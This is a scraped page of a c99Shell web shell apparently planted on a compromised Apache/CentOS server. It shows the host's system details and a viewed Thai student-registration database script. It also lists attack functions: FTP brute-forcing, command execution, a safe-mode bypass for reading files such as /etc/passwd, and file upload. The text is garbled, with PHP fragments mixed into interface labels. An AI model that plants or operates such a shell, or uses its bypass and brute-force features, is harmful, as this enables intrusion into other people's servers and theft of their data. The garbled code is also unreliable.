!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/xmigratex/   drwxr-xr-x
Free 52.27 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     compare.php (13.01 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"; //echo "tPassword = $tPassword
"; //echo "dbNo = $dbNo
"; if($dbNo==1) { $oDB = $dbreg; $moDB = $dbmoreg; $filename = 'arr_pbri.php'; if (file_exists($filename)) { include_once "arr_pbri.php"; }else{ echo ""; echo " เกิดข้อผิดพลาด "; echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename "; echo "
"; die(); } }elseif($dbNo==2) { $oDB = $dbreg; $moDB = $dbmoreg; $filename = 'arr_reg.php'; if (file_exists($filename)) { include_once "arr_reg.php"; }else{ echo ""; echo " เกิดข้อผิดพลาด "; echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename "; echo "
"; die(); } }elseif($dbNo==3) { $oDB = $dbreg; $moDB = $dbmoreg; $filename = 'arr_all_reg.php'; if (file_exists($filename)) { include_once "arr_all_reg.php"; }else{ echo ""; echo " เกิดข้อผิดพลาด "; echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename "; echo "
"; die(); } }elseif($dbNo==4) { $oDB = $dbreg; $moDB = $dbppc; $filename = 'arr_people.php'; if (file_exists($filename)) { include_once "arr_people.php"; }else{ echo ""; echo " เกิดข้อผิดพลาด "; echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename "; echo "
"; die(); } } // ------------ connect $ln_info = mysql_connect($localhost_s, $localhost_u, $localhost_p); if (!$ln_info) { echo "$source_s"; die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error()); echo ""; }else{ //echo "Connected $source_s successfully
"; } $ln_reg = mysql_connect($localhost_s, $localhost_u, $localhost_p, true); if (!$ln_reg) { echo "$source_s"; die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error()); echo ""; }else{ //echo "Connected $source_s successfully
"; } $ln_mo = mysql_connect($localhost_s, $localhost_u, $localhost_p, true); if (!$ln_mo) { echo "$local_s"; die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error()); echo ""; }else{ //echo "Connected $local_s successfully
"; } // -------------- select DB $db_info = mysql_select_db('information_schema', $ln_info); //mysql_query("SET NAMES 'utf8'", $ln_info); if (!$db_info) { die ('ไม่สามารถเชื่อมต่อฐานข้อมูล information_schema ได้: ' . mysql_error()); }else{ //echo 'db_information_schema successfully
'; } $db_reg = mysql_select_db($oDB, $ln_reg); mysql_query("SET NAMES 'utf8'", $ln_reg); if (!$db_reg) { die ("ไม่สามารถเชื่อมต่อฐานข้อมูล $oDB ได้ โปรดตรวจสอบชื่อฐานข้อมูลอีกครั้ง : " . mysql_error()); }else{ echo "เชื่อมต่อ $oDB สำเร็จ
"; } $db_mo = mysql_select_db($moDB, $ln_mo); mysql_query("SET NAMES utf8", $ln_mo); mysql_query("SET collation_connection = 'utf8_general_ci' ", $ln_mo); if (!$db_mo) { die ("ไม่สามารถเชื่อมต่อฐานข้อมูล $ทoDB ได้ โปรดตรวจสอบชื่อฐานข้อมูลอีกครั้ง : " . mysql_error()); }else{ echo "เชื่อมต่อ $moDB สำเร็จ

"; } //echo '+++++++++++++++++++++++++++++++++++++

'; echo " * case 1 : ข้อมูลพื้นฐานของสบช.ที่วิทยาลัยยังไม่อัพเดต
* case 2 : ข้อมูลระบบทะเบียนที่มีมากกว่าข้อมูลพื้นฐานของสบช.
* case 3 : ข้อมูลที่PKตรงกันแต่ข้อมูลภายในไม่เท่ากัน

"; $sizeoftb = sizeof($sm); echo 'จำนวน '.$sizeoftb.' ตาราง
'; $records = 0; $affected_records = 0; ?>
"; } if( $minus != 0 ){ $Fld_diff .= " - $minus"; //$rt = findIndex($sm[$tb_num]['new']['fld'], '-'); } ?> >
ฐานข้อมูล ฐานข้อมูล ฟิลด์ที่
เปลี่ยนแปลง
case
ชื่อตาราง จำนวนฟิลด์
ที่พบ
จำนวนฟิลด์ที่
คัดลอกข้อมูล
จำนวน
แถวข้อมูล
ตาราง
จำนวนฟิลด์
ที่พบ
จำนวนฟิลด์
ที่จัดเก็บข้อมูล
จำนวน
แถวข้อมูล
1 2 3
> > 0)?'#4400ff':'#000000';?>> 0)?'#FF0000':'#000000';?>> 0)?'#FF0000':'#000000';?>>
- - - - - - - -

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]--